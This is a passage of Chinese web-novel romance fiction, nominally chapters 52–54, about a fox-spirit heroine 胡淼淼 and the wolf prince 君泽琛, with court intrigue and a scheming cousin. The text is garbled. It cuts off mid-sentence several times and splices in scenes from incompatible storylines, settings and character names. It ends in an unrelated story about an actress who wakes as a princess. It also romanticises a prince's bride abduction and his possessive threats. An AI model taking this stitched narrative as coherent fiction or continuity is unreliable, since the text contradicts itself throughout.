莽撞也有莽撞的好处,皇上收琛眼底的冷意,站起身,绕过桌案走了下去,拍拍胡正阳的肩膀,语气之中带着无奈:“哎,琛王最近越发没分寸了,在老三大婚之日公然抢亲,还把朝中官员囚禁在了三王府,要不是今天早朝朕发现少人,还不知道此事呢。” “什么!”胡正阳大惊失色,淼淼被琛王抢走了? 这还得了? “皇上,琛王岂敢……” 皇上抬手打断他的话:“朕没办法,朝中大半势力都站在琛王那边,此事还要斟酌一下,不如爱卿亲自去琛王府要人试试,你劳苦功高,他应该不会不给面子的吧?” 一旁的富贵连忙低下头,皇上这话说的别有深意,什么劳苦功高,琛王不给皇上面子,给胡将军面子? 那不明摆着…… 胡正阳再耿直也听出了他话中的玄机,背后沁出一层冷汗,“皇上哪里话,琛王嚣张至极,怎会给臣面子。” 胡将军不知怎么走出宫的,一路上混混僵僵的,来到了琛王府,王府的侍卫似乎早就料到了他会来,不用通报,直接把他带到了王府正厅。 那边,琛王君泽琛早已等待多时了,见他过来,站起身对他颔首:“胡将军来了,这一路舟车劳顿,不如坐下饮口茶我们慢慢谈!” 要是之前,能得堂堂琛王请喝茶,胡正阳一定受宠若惊,然而现在知道自家闺女被他带走了生死未卜,心中有股火气,根本不对他客气,直截了当问: “淼淼在哪?” “哦,将军不累吗?不愧是战场上英勇的武士,敌人头痛的对象,果然非凡!” 胡将军:“???” “不过将军年岁已高,是时候纵享儿孙之福了,本王能做到了,必将竭尽所能……” 胡将军听到这怒了,之前进宫没带佩剑,只能抄起椅子当剑耍。 去你奶奶腿的年岁已高,去你奶奶腿的儿孙之福,去你奶奶腿的琛王,司马昭之心都写脸上了。 这只猪想拱自家白菜,比君子华那小子还不要脸,不管怎样,那小子相处三年才拱的,而琛王连淼淼面都没见过,上去就抢亲,儿孙都想好了。 胡老父亲心里骂骂咧咧,手上的椅子轮的虎虎生威,颇有一副不砸死你就不罢休的架势。 一旁的下人们包括管家,淡定的躲到一旁,就见自家主子迎刃有余的对付老丈人。 虽然王府戒备森严,纪律严谨,但并不妨碍他们八卦,王爷那点小心思一夜之间都传开了,王府人人都知道他们是有主母的人了,面对主母的父亲,emmm…… 打吧,狠狠的打,反正…… 也打不过。 随着时间的推移,王府正厅一片片狼藉,上好的金丝楠木制作的桌椅,开片青瓷茶具,都被砸的稀巴烂,胡正阳停下了攻击,诧异的看着君泽琛,他的武功都是在战场上生死之间磨炼出来的,而这个凛王不仅躲过了他的攻击,看上去还很轻松? 君泽琛不躲了,淡淡的看着他:“你打吧。” 胡正阳吐血,这种“你打吧,打完了你闺女归我”的错觉是怎么回事? 你抢完亲还委屈上了? 胡正阳手中已经挂掉的椅子一甩,沉重的哼了一声:“我们好好谈谈。” 君泽琛鹰眸一亮,让下人去把其他房间的椅子搬过来,二人就在废墟中谈了起来,他的第一句话就是:“您放心吧,我会对淼儿好的。” 好个屁,胡正阳差点又要打人,但这次他忍了忍:“淼儿和三王爷情同意和,容不得你……” 还不等他话说完,就感觉君泽琛气势变了,一直和和气气的琛王,就连他动手多和颜悦色的琛王,在这一刻竟然变脸了。 君泽琛脸色阴郁,眼中惊涛骇浪在翻滚,那种负面情绪再也藏不住,可怕的就连征战沙场的胡正阳也忍不住心惊。 “什么情同意和,那个东西怎么可能配得上她,君子华他算什么东西敢和本王挣,淼儿是我的,没有人能抢走,就算你是她父亲亦然!” 他的声音像是野兽低吼,警告着,胡淼淼是他的猎物,谁都不许碰,哪怕是胡正阳也一样。 就算是死,也不会让她离开他。 周围的一众下人瞬间跪倒在地,不敢去招惹盛怒之中的人。 就在这时,一阵脚步声传来,君泽琛正欲攻击,但认出是照顾胡淼淼的若冰,动作一顿:“什么事?” 狂风暴雨,在这一刻竟奇迹般的好转了,紧绷的气氛一扫而空。 若冰一窒,见到王爷好转,才道:“王爷,胡姑娘找您。” 胡正阳:“我要见她。” 君泽琛没听见,直接无视他,抬步就走,只不过在到门口的时候,他一顿,侧头:“刚才多有得罪,胡将军见谅,有什么事改日再谈。” 这次,他都也不会的走了,胡正阳想要追去,却被刘管家拦住。 “胡将军还是请回吧,惹恼了王爷,可就不好了,毕竟胡姑娘还在琛王府呢。” 这句话,成功让他止步,看着君泽琛的背影气的牙痒痒。 “我就放在这了。”碍于小狐狸下不来地,君泽琛把石桌搬到床边,递到她伸手可得的地方,说:“吃完了记得上药,我就在门外,如果你上药不方便就随时叫我。” 男人一口一个上药,只会让胡淼淼更加恼怒,她催促臭男人快出去,别在这里瞎念叨。 等他走后,胡淼淼扶着老腰磨磨蹭蹭凑过去吃饭,等上药的时候别提有多羞耻,一辈子骂人的词都用上了,结束一切她回去躺好,忽然她余光瞥见什么,所有动作戛然而止。 两根莫名物种的“头发”安安静静地躺在她的明黄色被子上,十分醒目。 被子是新换的,怎么会有头发呢? 说是头发,可是又与头发不太一样。 胡淼淼撑着腰,拿起来对比一下自己的头发,疑惑不解。 这不像是头发,反而像是动物的毛发,比她的狐毛要粗很多。 什么时候落在被子上的? 第 52 章 第 52 章 家里出现奇怪的毛发,胡淼淼瞅着眼熟,如果她是狐形,高低得尝尝咸淡。 她仔细观察很久,对着门口的光观察,再悄悄伸出自己的尾巴比比划划。 突然,她灵机一动,这不是好狗的毛吗? 她那被掩埋的初恋活着的时候动不动就送有狗毛的食物,她三天两头从鸡汤、烤鱼里面拔出来黑色的狗毛。 只是被子明明是新换的,怎么会有好狗的狗毛呢? 难不成是在哪个角落蹭上去的? 她赶紧收拾收拾,把狗毛藏在床底下,心虚地看一眼门口。 新婚夜在床上发现初恋的狗毛,被嘬嘬发现不会生气吧? 胡淼淼心里藏着一只狗,纵然和君泽琛成婚,早就想把狗挤出心门,可心不由己,她就是一只渣狐,一时半会还真挺困难。 她幽幽叹口气趴回床上躺着,尾巴悄悄在被子里舒展,没一会便因为疲倦再次睡过去。 天边微微放亮暴雨不知何时停止,空气中夹杂着雨后清香,洞外有人焦急地喊叫,洞中两道身影拥抱彼此。 等等?众所周知,京城胡家生意越做越火,各种领域都有涉及更是出名的皇商,宫廷御用瓷器,都是出自于胡家,说是京城首富也不为过。 他在商贾之中一骑绝尘,当年不少人想跟胡家联姻,然而胡家家主娶了一个书香门第贤良女子,成亲当天声称一生一世一双人,羡煞不少女子更是让人失去联姻的机会。 无奈之下,众人只好把注意打在胡家其他人身上。 梁家就是其中之一,他们家世代经商,算小有名气,跟胡家联姻后地位更是蒸蒸日上,发了一笔横财。 作为梁家唯一的嫡亲少爷身价自然不一般,梁家恨不得把他当眼珠子疼,自幼想要什么就没有得不到的,吃喝嫖赌样样精通,脾气嚣张跋扈招惹过不少是非。 梁昌荣阅女无数,从未想过有一天,竟在自己表妹身上栽跟头,被砸得头破血流。 他醉到第二天中午才醒,一醒来捂着脑袋砸了满屋子东西。 “废物,没用的东西,连个女人都看不住,让她跑了。” 众人跪在地上缩成一团,努力降低自己的存在感,暗地里嘀咕,还不是少爷自己,说要玩个尽兴不让他们伺候。 被胡小姐砸得重伤,到底谁是废物? 当然,这些话他们只敢在心想想,面上却劝解:“少爷,您放心,昨天肯定是意外,胡小姐……”说话的人灵机一动:“胡小姐在跟您欲擒故纵,像您这样英明神武,俊逸非凡的,她怎么会拒绝呢,肯定是昨天晚上害羞了。” 这个年代下人阿谀奉承乃常事,梁昌荣算不得丑陋,可也跟所谓的英明神武,俊逸非凡挂不上钩。 他长年混在花街柳巷,身体消瘦,五官还算可以,细眉细眼,眼底淤青却十分醒目,瞅着就让人十分不舒坦。 此时,他头上包裹着白纱又隐隐有血迹渗出,外表受伤,加上酒的后劲儿,让他捂着脑袋呲牙咧嘴,烦躁道:“那贱人平时看起来老实本分,看来心眼不少,在本少爷面前故作清高,等本少爷娶了她,必定给她点颜色瞧瞧,让她知道什么叫做妻为夫纲……” “少爷~” 一声凄厉的哀嚎打断了他的话,吵得他头痛欲裂,正要呵斥,却见小六灰尘扑扑,衣衫褴褛顶着一张青一块紫一块的脸,犹如被人类喊打的灰耗子哭喊着跑进来。 “少爷,您可以为我做主啊。” “怎么回事?”梁昌荣被他的样子吓了一跳,这些年他带着兄弟花天酒地,除了那些世家公子惹不起几乎横着走。 所有人都知道小六是他的人,把小六弄成这样岂不是打他的脸? 此时的小六一把鼻涕一把泪,嘴好像啃了泥肿得皮肉外翻,张嘴牙上还有泥土,他声音沙哑,仿佛砂纸打磨铁皮,难听得要命。 “少爷,我去给你熬醒酒药,结果碰见了胡小姐,她像是变了个人似的,打碎了您的药,对我拳打脚踢,按着我去吃地上的药渣,少爷啊,打狗还要看主人呢,他这明摆着没把您放在眼里。” 小六虽为奴才,但从未收到过如此屈辱,把自己经历过的事情添油加醋一番一股脑说了出来。 本来就有火气的大少爷一听,顿时恼怒:“这贱人,她怎么敢?” 小六:“何止啊少爷,她还捡回来一个男人细心呵护,说……” “说什么?” “说是个男人都比……您强,胡家都是她说的算,您莫要癞□□……吃天鹅肉。” 轰隆隆…… 这句话如同一道惊雷,劈得他火冒三丈。 见他动怒,众人更是大气不敢喘一下,终于,他一拂袖,咬牙切齿:“走,我倒是看看,那个贱人找了个什么货色的男人,敢跟本少爷作比较。” 胡淼淼倏然睁开眼睛,眼前是一张红的有几分诡异的容颜…… 男人看起来瘦弱高挑,重量却不轻,正压在她的肩膀,她能清楚地感受他传递的热度,以及结实紧致的肌肉。 胡淼淼打起人来毫不手软,他除了身体散发着高温,以及不正常的脸色,竟然还活着? 或许是因为高烧,他寻找热源,如同毫无意识的小动物一样凑在她身边,呈现出一种病态的乖巧,好像一只收敛利爪的大型狐狸,倒是有点符合胡淼淼的审美。 末世的生存习惯,胡淼淼早就忘了什么男女之防,自动忽略掉他粘着自己的不妥之处,而是饶有兴致观察某人,似乎在奇怪他的生命力怎会如此顽强。 清晨的光通过洞口,照耀在女人小巧的脸上,她五官完美精致,眉眼仿佛天生淼笑,透着几分俏皮,唇角不似其他女子那么薄,反而有一种别样的丰满,勾起来的样子,能软入人心坎。 当然,如果被人知道,她此时在想怎么弄死男子的话,一定很惊悚。 丫鬟夏小荷搜索山洞时,正好看见这一幕,她瞬间双眼淼泪:“小姐,终于找到你了。” 夏小荷父母本是乡下人,家庭还算富裕,七岁那年父亲进京考取功名,未曾想功名没考上,反而迷恋上了赌/博,欠一屁股债,还把她和母亲卖进青楼。 母亲掩护她逃跑,死在那些人手里,她在逃出去后被胡老爷所救。 可以说,夏小荷从七岁起就跟着胡淼淼了,她脾气比较耿直,有什么说什么,但对这个小姐的情分是真心的。 昨天半夜她听到小姐房间有响动,本来打算去看看,被香夫人带人拦住耽搁不少时间。 香夫人是小姐的姑姑,表面上叮嘱她一些事情也没什么,可夏小荷在胡家这么多年,还不知道她的心思吗? 平时对小姐嘘寒问暖,老爷去世后,更是把小姐看做表少爷的人,如果不是小姐一直在孝期,指不定已经被他们…… 夏小荷意识到不对劲,赶紧跑到小姐房间,结果小姐失踪,表少爷倒地不起。 一时之间,整个山庄陷入混乱。 她知道,一定是表少爷做了什么,然而不是追究责任的时候,他们连夜带着人搜山,一直找到早上,才看见这隐秘的洞穴。 看见胡淼淼安全无恙,夏小荷总算松了一口气,然而她这才注意到小姐身边,躺着一个男人,瞬间大惊失色:“小姐?” 她自觉后退几步,想要挡住身后的洞口,可是已经来不及了。 寻找胡淼淼的人有很多,他们几乎跟着夏小荷脚前脚后进来的,不该看的早就看见了,顿时一阵哗然。 他们的小姐彻夜未归,却跟一个男人衣衫不整鬼混在一起? 承启国男女之防并不严重,一切都是权力说的算,只要有钱,女子偷偷去逛小馆的也不是没有。 然而暴露在人前,还是令人感到不知羞耻。 当事人表示很淡定,懒懒地抬了抬手,把身边的男人推开,对他们道:“愣着干什么,抬回去。” 抬……抬回去? 众人这才看见男子的惨状,顿时到吸了一口凉气。 孤男寡女共处一室,结果男的走不了路了? 这几百年来无数妖女试图往他的寝殿凑,并非只看中他的样貌,毕竟妖族样貌很好,威武精壮的男妖不再少数,只不过像他这样身份地位以及修为的很少。 他那几百年不曾破戒的元阳,能够抵过妖族修行二十年的修为。 小狐狸才多大年龄 ,至今刚成年,他元阳的修为都比她年月大,难怪会吃不消。 不想还好,一想到小狐狸的年龄,君泽琛揉了揉眉心,暗骂自己确实禽兽。 他一边叹息,一边将手覆盖住她的腹部,化解那未消化的力量。 胡淼淼对此并不了解,只觉得浑身通畅了,她舒舒服服地蹭了蹭君泽琛的胸膛,小声嘀咕一句什么。 君泽琛的动作一顿,抿紧唇角,板着脸凑过去偷听。 小狐狸一定做了美梦,唇瓣都是翘着的,呢喃的那两个字,就像是软软的棉花糖,甜到人心坎,入耳即化。 “夫君……” 这一刻,似有无数的烟花在脑海中炸开,胸腔更是澎湃万分,君泽琛的眼神墨绿,如同锁定猎物,瞬间盯上了她的脸,一对儿黑绒绒的狼耳刷地冒出来,竖得笔直,甚至因为出来得太快,抖动掉几根狼毛。 第 53 章 第 53 章 狗毛。 胡淼淼最近发现很多狗毛,狗毛无处不在。 床上被子里、地毯缝隙里、以及她的床底下,虽然数量很小,就只有几根,好像是被人遗落的不易察觉,可是胡淼淼对狗毛挺敏感的,她觉得狗毛就像是蟑螂,当你发现一个,就等于有无数个了。 因为好狗的关系,胡淼淼很心虚,一直没敢和捉妖师说。 而且自从某天她醒来,君泽琛看她的眼神就不对劲儿,只要君泽琛在,那么他的眼神会如影随形,怎么说呢,让她有一种肉包子被狗盯上的错觉。 只不过这条“狗”并没有对小狐狸下手,两个人婚后相处还算和谐,相处的气氛却没有以前那么单纯了,偶尔对视,眼神会黏在一起,对视的空气都是粘稠的。 膳房的药炉被打翻,胡淼淼也失去了为“亲亲未婚夫”熬药的兴致,琼山距离京城还有两日路程,按照那男人的伤势,根本坚持不到只能静养一段时间,山下有一小镇唤作响水镇。 派人去镇里按照大夫的药方抓了几服药,买了新的药炉,勉强熬了一盅药端了过去。 君泽琛伤势的血已经止住,只是不知什么原因看起来身体依旧孱弱,胡淼淼再次去的时候,他已经再次陷入沉睡。 午后的阳光透着水汽,斑斑点点照在床上。 男人睡姿笔直端正,双手叠在腹部,墨发乖巧地披散在周身,犹如一幅展开的水墨画卷,他睫毛浓密纤长,在因失血过多而苍白的脸上打下淡淡的阴影,唯一有一丝血色的,大概就只有那薄而殷红的唇,细看一下,仿佛沉睡过去的……男狐狸精。 “男狐狸精”似有所感,鸦羽般的睫毛轻颤,瞳仁浅浅的,带着浓重的不安,当他视线落在胡淼淼身上,竟然流露出一种归属感,眼波流转,整个人明媚了几分。 “你来了。” 好听的声线不难听出浓浓的依赖,好似濒临死亡的人抓住最后的稻草,眼里只有那淡蓝色的倩影。 胡淼淼恍惚一瞬,本想敷衍了事,随意喂点药让他凑合凑合活的心态随之一遍,笑眯眯对夏小荷招招手。 “药给我吧,我喂他。” “小姐?”夏小荷有些错愕,小姐在路上不是还说,亲自送药意思意思就走,不必浪费时间的吗? 难不成……她虚瞄一眼床上那位,顿悟。 这男人往这一躺,小眼神儿一勾,这谁受得了啊。 虽然不知道来历,但是总比表少爷强,反正小姐有多是钱财捡来一个没有身份地位的男人也好拿捏。 思及此处,夏小荷欢快地把药碗递过去,下一秒,就见小姐走到床边,温柔地把药匙递到男人嘴边,用古怪个音调开口:“来,大郎~该喝药了。” 君泽琛也觉得这话有点……瘆得慌。 本能告诉他入口的东西都应该检查一遍,他眼底闪过一抹什么,再次抬头,缓缓张开了唇,苦涩的药汁划过唇角,他轻轻抿一口,眼角便渗出了水雾。 一个大男人,怎么动不动就……如此。 白瞎了这脸,胡淼淼不赞同:“阿冤,大丈夫就要大口喝酒大口喝药,你现在身上有伤,不喝药怎么行。” 男人闻言眉宇紧蹙,坐在床上,仰头四十五度角望向她,试探性开口:“姑娘,你我真的是未婚夫妻吗?” 胡淼淼心生警惕,面上不动声色,“什么姑娘不姑娘的,你当初可叫我小之之,怎么转眼就忘了。” 她眼型弧度恰到好处,类似桃花眼,上眼尾弧度好似一弯新月下垂,认真的时候是无辜的狗狗眼,笑起来的时候会微微上翘,瞳仁黑白分明布灵布灵地仿佛会说话,此时控诉床榻上的某位负心汉。 任谁看了良心都会受到谴责,男子好似陷入其中,看了眼她一直端在自己面前的药盅,不知所措:“你别多想,我就是想……既然我们是未婚夫妇,这个时候,是不是应该应景一些,来表达你我二人之间的感情。” 他支支吾吾,欲语还羞地盯着她,眸光闪烁,原本惨白的皮肤硬生生憋红了,胡淼淼总感觉他哪里不对劲,见他目光似有似无落在自己脸上,收敛了演技,勉强维持笑意:“说人话。” 君泽琛的视线落在她唇上,她的唇形状精致丰满,杏粉色透着晶莹,是天生的微笑唇,亲和力很强,他羞怯:“之之,我怕苦,你换一种方式,可能就……” 他话没说完,但一举一动格外扭捏,眼尾上挑,面带潮红,瞳仁却清纯之中带着小坏,仿佛是顽劣的孩子想要讨糖。 夏小荷站在一旁一头雾水:“小姐,什么意思?喝药还有其他方法?不都是用嘴喝的吗?” 当然有…… 胡淼淼唇瓣都快被盯破皮了,她连最后虚与委蛇都维持不住了,漂亮的眸中隐着危险。 男人这种东西果然就是皮痒,长得再漂亮有什么用,还不是为了下.半身思考。 哪怕是失去记忆,也难逃色/胚本性。 一时之间,胡淼淼对他失去了兴致,面无表情把药碗递给夏小荷,恰巧,房外正好响起一阵嘈杂。 “阿冤,若是再耽搁,你这药可就喝不成了。” 她白皙晶莹的指尖轻晃动,药匙掉回盅里,药汁泛起淡淡的涟漪,好似有什么暗藏的东西被摊开…… 不过一个捡来的男人,还曾对她有杀机,没直接取他性命都是她脑抽。 胡家那些人,她找个挡箭牌不过是想避免一些麻烦,如果这个男人更麻烦的话…… 指尖一松,刚才还试图“抖机灵”的男人小心翼翼地接过药碗。 “之之,你别生气,我喝。” 见他“乖乖”服下药,胡淼淼脸色稍缓:“这才对,你在这乖乖待在,我去去就回,伤口若是疼就喊人帮你上药。” 她微微站直了身体,“走,看看外面什么情况,尚未回京就如此不安生。” 夏小荷回神,连忙端过君泽琛喝完的盅具,不安跟着走了出去。 并没有看见,床上那虚弱的男人目光渐渐若有所思起来,他手抵在腹部一处,倏然弯下腰,喉结滚动方才饮入的液体,尽数吐入床下阶梯的盂中。 胸前的伤口因为他的动作渗出丝丝血迹,他恍若未闻,径自下床走到桌边端起茶壶,稍微嗅了嗅,确认无问题后倒入盏中漱口,上挑的狐狸眼,移向门外,轻轻眯了眯,浅色的瞳仁里,全然没有了在外人面前的无害清纯…… “你怎么还在摆摊,最近多事之秋还是回家避难吧。” “普天之下莫非王土又能躲到哪去?能活一天是一天,听说三皇子性情温和,他若……对咱们来说也没什么不好。” “可他和七殿下……” “嘘,那位可不是你我能议论的。” 短短几天,承启国的天变了。 承启国有两百年历史君家世世代代掌控在手里,然而没有真正地长久到永昌帝这一代明显出现了问题,上有帝王昏庸,下有朝臣污.贿,皇后一家独大破坏了帝王平衡之术,还有一些昧着良心的商贾压榨百姓外族虎视眈眈内忧外患尽显。 前些日子,整个京城的气氛都紧张起来,太子心术不正暗地里结党营私,培养私兵,试图逼宫造反,一向优柔寡断的三皇子挺身而出把他斩于乾坤殿,私兵被围剿,母族被刑部赤卫队擒获。 说到刑部,本身应该由尚书省管辖却因为一人成为承启国的一把利刃,但凡落到那人手里,没有一个有好下场,传言他的手段层出不穷,烹人喂狗,剥皮做灯,无恶不作,哪怕生得一副好面孔,依旧让人毛骨悚然。 “小姐,京城的官爷让停下马车检查。”夏小荷的声音在车外响起。 轻晃的马车走在队伍里面接受盘查缓缓停下,男人收回了视线。 胡淼淼慢吞吞喝了一口茶,顺手在把杯子放回去,对夏小荷开口:“好。” 皇宫混乱刚稳定下来,依照男主小心谨慎的性子绝不会允许有任何偏差,胡淼淼理解,左右她又没敢亏心事,刚答应完鼻尖窜入一抹馥郁的梅香,男人不知何时凑近:“之之,这是女子的马车他要是进来检查未免太失礼了。” 胡淼淼动作一顿,笑意不达眼底:“你说得对。” 君泽琛点头,他现在身份不明直觉告诉他,既然被追杀过就一定是有仇家,万一是乱臣贼子被官兵检查出来等于自己送上门找死,所以他还是小心为妙。 然而下一秒,胡淼淼笑容一收:“不过,这不是有你吗?问题不大又不是我一个人对我做不了什么。” 君泽琛:“……” 短暂的几秒,马车的帘子已经被掀起,他急中生智,倏然窜了过去…… 小桌花瓶中的梅花轻颤,一朵花瓣缓缓飘落,如若有什么在心头炸开,花香越发浓郁,胡淼淼猝不及防被压在软榻上,肌肉紧绷只要他再敢有其他举动就先下手为强,心里那抹怀疑更深。 难不成这个男人真的身份特殊…… 并且在男人做饭的时候捣乱,生火差点把他衣服烧着。 君泽琛踩灭袍子上的火星子,死去的记忆突然袭击他。 他后知后觉,当初他的狼尾巴不会就是这么点燃的吧? 他脸一黑,“胡淼淼,你给我离火远点。” 他就说,活了几百年,怎么烤个火都能烧到狼尾巴。 第 54 章 第 54 章 君泽琛不愿意做的事情,会很冷漠,对某些事情一点兴趣都没有,就像当初他对小狐狸没有感情,不解风情,又冷又臭。 当他对小狐狸有感情之后,会绞尽脑汁,犹如当年带领狼族侵占狐族一样,和诡计多端的狐族拉扯至今。 他喜欢小狐狸,小狐狸是无论如何都没办法逃脱他的手掌心的。 一切都是算计得来的,亦如现在,他原本只是想要小狐狸唤他一声夫君,傻傻的小狐狸上当受骗不说,还主动送上门来给他数钱。 她不仅会在夜深人静时,趴在他怀里唤他夫君,还比往日黏狼了。 因为一些事情在琼山耽搁多日,京城那边的老太太虽然不待见这个孙女,却也不想她出事,多次派人前来问话催促他们早日回京。 只是休养一段时间,君泽琛的伤口虽然有所愈合,但依旧好的很慢,身体也看起来十分虚弱,提不起什么力气,请来的大夫也查不出究竟。 确认他死不了,外加那边催的烦,胡淼淼没继续在山庄待下去。 该面对的也得面对,她隐约倒是有几分期待呢。 一大清早,胡家的马车准备就绪,山间鸟雀轻啼,阳光盛满芳华,空气中夹杂草木香让人耳目一新,可有些人却不这么想。 香夫人坐在马车内,时不时让人去下车去看看。 或许胡淼淼只是想给她一个教训,下手并不重,她额头上的伤口早就好了,彼时却依旧带着抹额,一双眉毛不耐烦的蹙起:“你再去看看,这丫头越来越不像话,说好的今天回京城,怎地还没出来,让本夫人等这么久?” 男女有别,哪怕是母子,梁昌荣也没跟香夫人一个马车,表情却如出一辙,他掀开车窗的帘子,不经意看见庄子门口,脸色更难看几分。 这些时间,他经常去找胡淼淼,想确认那日她所说的话是真是假。 梁家虽说很富裕,但到底比不过胡家,母亲从小就跟他说,只要舅舅没儿子,将来他娶了胡家小姐胡家的一切就都是他的,届时他想干什么就干什么,再拿胡家的钱贿赂一下王孙公子,没准能捞个官当当。 可以说,在香夫人日益“熏陶”下,胡家和胡淼淼,都是他的囊中之物。 结果到最后鸭子突然摇身一变化身天鹅,呸他一口,骂他是癞蛤蟆,转身投入其他湖泊中,附赠一片青青草原。 这让他如何相信?  那就是当朝七殿下,只是听闻他这次身受重伤足不出户,恐怕命不久矣。 当然,他们可不敢乱说,毕竟那人的狗,还在四处搜罗呢。 人见人怕的赤卫队不知抽了什么风,经常板着脸出没好像在找人。 马车缓缓停下,城门口一个个排查,胡淼淼百般无聊地靠在软塌上,古代马车自然舒服不到哪去,好不容易有享受生活的条件,胡淼淼不愿亏待自己,车子外表看起来平平无奇内里别有洞天。 流苏车帷挂在两侧遮挡住窗外的阳光,如软的锦绸铺在身.下,桌案上摆放有瓜果点心,车内没点香,而是插了花,一阵风吹过,隐约能闻到那淡淡的花香。 而她对面,男人却显得拘谨,君泽琛坐在车子的角落,漂亮上挑的眼尾轻眨,视线时不时扫过她,犹如小羽毛轻飘飘扰她一下,不等她去捉又调皮的划走。 胡淼淼假装没看见,双目半阖,一手拿着轻罗小扇扇风,另一只手捏起桃酥,准备放入口中。 君泽琛眼眸微微睁大了几分,红唇几次张开,又默默闭上。 这女人也太能吃了,从琼山下来,她的嘴就没停过,中途还停过几次车去填补点心…… 男子看向那平坦的小腹上,为什么还那么平? 身为男人,有一个男人共同的劣根,那就是自信,梁昌荣不相信那女人会真的嫌弃自己看上其他男人。 在花楼的时候,那些姑娘哪个不是吹捧他仪表堂堂,貌比潘安,雄/风不凡? 在今日之前,梁昌荣一直没见过那传说中的野男人,更是对其十分不屑,不过躲在女人背后的窝囊废罢了。 然而,当看见自己表妹和野男人出双入对的那一刻,他明明恢复的脑壳翁了一声。 清风浮动在林中,阳光斜下,为那二人镀上一层金边,女子倩影窈窕,笑靥盈盈,男子暗红衣袍,丰神昳丽,他们站在一起,无端让人刺目。 那个男人…… 梁昌荣一个没忍住,在马车里大骂:“公狐狸精!” 他的敌意过于强烈,“公狐狸精”似有所感,狐狸眼一挑,就看见了他。 短短几日,记忆空白的君泽琛没有坐以待毙,打听到了现在的处境。 琼山,位于承启国京城南边,通往京城的必经之路,他在陵川被胡家小姐所救,相处三年恋上了彼此,碍于胡父死后孝期未过,婚事也就耽搁下来。 如今正是三年已满,他们回京城操办婚事,结果不想那天晚上,遇见觊觎胡小姐的登徒子,庄子里的下人被收买,他们走投无路打伤登徒子逃入山中。 他的伤势,便是当初逃跑路程中,路滑滚落下去,被山石撞的导致失忆。 对此,君泽琛怀有种种疑点,潜意识认为,自己不至于那么废物,连喜欢的女人都保护不了,况且身上有刀伤,非山石留下的。 可是,本能的又觉得,他确实在逃避追杀。 君泽琛没有声张,一直伪装无害的模样,保持着现状,不管胡淼淼说得是真是假,他都坦然面对。 毕竟,骗他的人,他不会心慈手软,他倒要看看他们都有什么目的。 可如果是真的呢?“让开,都给本少爷让开。” 梁昌荣铆足了力气踹开院落门口拦住自己的下人们,相较于在陵川三年孤苦无依的胡淼淼,这些年梁昌荣有香夫人宠爱,他没少在胡家产业作威作福。 琼山是陵川回京城的必经之路,他们母子二人早做打算把桩子中的人拿捏个遍,不然怎能堂而皇之对胡家大小姐心怀不轨? 庄子内,只有胡淼淼院落是自己带来的下人,西院的下人只是象征意义的拦了拦,没一会,梁昌荣便顶着满头绢帛,站在门前一掀袍子就要踹门而入。 他倒要看看,那个贱女人藏了个什么狗男人。 咯吱…… 房门被推开,一芊芊身影缓慢走出,淡蓝色绣花长裙,做工精美,贴服在曼妙的身躯上,如云的鸦青长发随意用一只簪子固定,珍珠流速轻轻摇晃,阳光下的女子面颊白净,杏粉的唇瓣噙着一抹说不清道不明的笑意。 新月般的眼眸上挑,看起来无害清纯,黑白分明的瞳仁倒映着男子踹门踹一半僵硬在原地,略微滑稽的动作。 她轻笑:“表哥这是?伸展运动呢?” 梁昌荣总感觉今日的她和昨夜的不一样了,明明看起来还是那张很好欺负的脸,愣是让他消了气焰,还……怪好看的。 他好色的心神一荡,沉迷于美忘了来的目的,下意识点头:“啊对对对。” 等等,什么运动?震惊!皇上驾崩了! 皇上登基那会,内有朝中腐朽不堪 ,外有敌国虎视眈眈,拼搏大半辈子,好不容易换来天下太平 ,身体却每况愈下,终究没熬过这年开春,皇后与皇上感情深厚,竟丢下公主和小皇子跟着去了。 一而再再而三的噩耗,让朝中人心惶惶,为胡栖国未来担忧…… 即将登基的皇子才七岁,长公主又…… 长公主殿内,跟随皇上多年的公公宣布遗诏:“奉天琛运,皇帝诏曰,朕自知时日无多……” 接旨的女子一身素色宫装,头上只用白色丝带挽起,素颜朝天也难挡那精致艳丽的容颜,只不过此时她黛眉紧皱,粉唇烦躁地抿着。 烦!吵! 胡淼跑龙套生涯结束打算回家睡懒觉,结果眼睛一闭一睁,就有人小嘴叭叭滴嘚啵嘚! 她有些头疼,往旁边一瞅,顿时觉得事情并不简单。 大殿金碧辉煌,周围跪着一群人压抑着抹眼泪,而自己正跪在地板上,前面一个身穿灰黑色,手拿黄纸……啊不对,圣旨的人正在宣布遗诏,皇上不忍耽误公主豆蔻年华,孝期以月代年,守孝满三个月后赐予长公主府邸等胡胡。 胡淼被皇上骚操作搞得一愣一愣的,便是连陌生环境都被她无视了,她只觉得这皇上有点虎。 除此之外,还觉得这遗言不正经。 古代除了皇上,哪有公主缩减守孝时间的? 莫不是……这是一部无厘头剧? “长公主,接旨吧~”五六十岁的男人面无白须,声音尖细,有些刺耳,他双手捧着圣旨递过去安慰胡淼:“皇上走了,您……节哀。” 声音挺逼真,配音演员出身吗? 胡淼绷直背脊僵硬地抬手接过圣旨,拿了一下没拿动…… 她:“???” 老太监凝视她半晌,幽幽道:“长公主殿下,奴才知道您孝顺,不过其他事情心里苦闷就要发泄出来,多想想开心的事情,万万别憋坏了身子骨儿……” 德福是皇上身边的老人,长公主可谓是他看着长大的,小时候乖巧可爱,长大了却为了镇北王家的臭小子牵肠挂肚费尽了心思,越发不守礼法。 眼下皇上去了,各大宗亲虎视眈眈,谁还能照君这对儿姐弟俩? 还不要靠着镇北王吗? 只希望公主懂点事儿,莫要再缠着人家世子爷吃力不讨好到时候得罪了镇北王,更何况孝期若是再搞出幺蛾子,可没人护着…… 这边德福满心惆怅,脸上表情越发严肃,白花花的眉毛皱得死紧,映入胡淼眼帘之中,让她顿悟。 哦,她懂了。 皇上驾崩了,别人都哭,她不哭,老太监不满意,话里话外暗示她懂点事,这么多人看着呢,得意思意思是吧? 这她在行,她是十八线演员,线虽有点长,但也是演员啊! 哭戏还不信手捏来? 这事儿简单,首先颤抖下“娇躯”表示无法接受,其次能哭出眼泪就哭,哭不出来用手遮住眼睛,然后哼哼唧唧就OK了。 导演经常夸她哭戏好,能把死人哭活,虽然不知道现在啥情况,反正表演就对了! 于是,正在哽咽的众人冷不丁听到惊天一嗓,他们耳朵一震,头脑一清,下意识抬头看过去,就见公主一袭白衣似雪,娇躯剧烈颤抖,好像得了什么急症,一手拽着德公公手中的圣旨,一手捂着嘴,精致的脸蛋难受得皱在一起,眼睛红彤彤努力挤着什么…… “天!” “快,传太医!公主伤心过度隐疾突发了!” 一时之间,谁还管什么圣旨不圣旨,皇上刚驾崩,小皇子尚未登基才七岁,可不能再失去长姐。 